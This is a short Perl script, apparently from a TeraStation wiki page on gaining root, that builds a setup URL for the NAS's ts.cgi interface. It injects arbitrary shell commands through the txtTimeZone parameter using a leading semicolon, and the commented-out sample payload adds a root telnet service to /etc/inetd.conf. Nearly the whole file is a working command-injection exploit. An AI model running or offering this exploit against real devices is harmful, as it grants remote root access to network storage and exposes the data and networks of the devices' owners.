#!/usr/bin/perl
#
# http://www.terastation.org/wiki/Become_root_%282.14%29

# Change this if your server URL is different
my $server_url = 'http://192.168.11.150/'; 

# Server's internal hostname
my $hostname = 'HD-HTGLD03';   

# This is probably only if you have several Teras?
my $hostcomment = 'TeraStation';  

# Set this if you have an ntp server
my $ntp_server  = '';

##############################################################################
# You shouldn't need to change anything below here.
##############################################################################

use strict;
use warnings;

use URI::Escape 'uri_escape';

my $cgi = 'cgi-bin/ts.cgi';

my $run_as_root = join '', <>;
# my $run_as_root = <<'EOF';
# echo "telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd">>/etc/inetd.conf
# EOF

chomp $run_as_root;


# semicolon is crucial here:
my $escaped = uri_escape ";$run_as_root";

my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime();

my %params = (
  'page'            => 'basic',
  'mode'            => 'setup',
  'txtHostName'     => $hostname,
  'txtHostComment'  => $hostcomment,
  'txtYear'         => $year + 1900,
  'txtMonth'        => $mon + 1,
  'txtDay'          => $mday,
  'txtHour'         => $hour,
  'txtMin'          => $min,
  'txtSec'          => $sec,
  'txtTimeZone'     => "0$escaped",
  'txtNTPServer'    => $ntp_server,
  'hiddenNTPServer' => $ntp_server,
  'rdoNTP'          => $ntp_server ? 'on' : 'off',
  'txtLanguage'     => 'english',
  'txtCodepage'     => 'ISO8859_1',
  'rdoNetatalk'     => 'on',
  'rdoFTP'          => 'on',
);

print "$server_url$cgi?",
      join('&', map { "$_=$params{$_}" } sort keys %params),
      "\n";
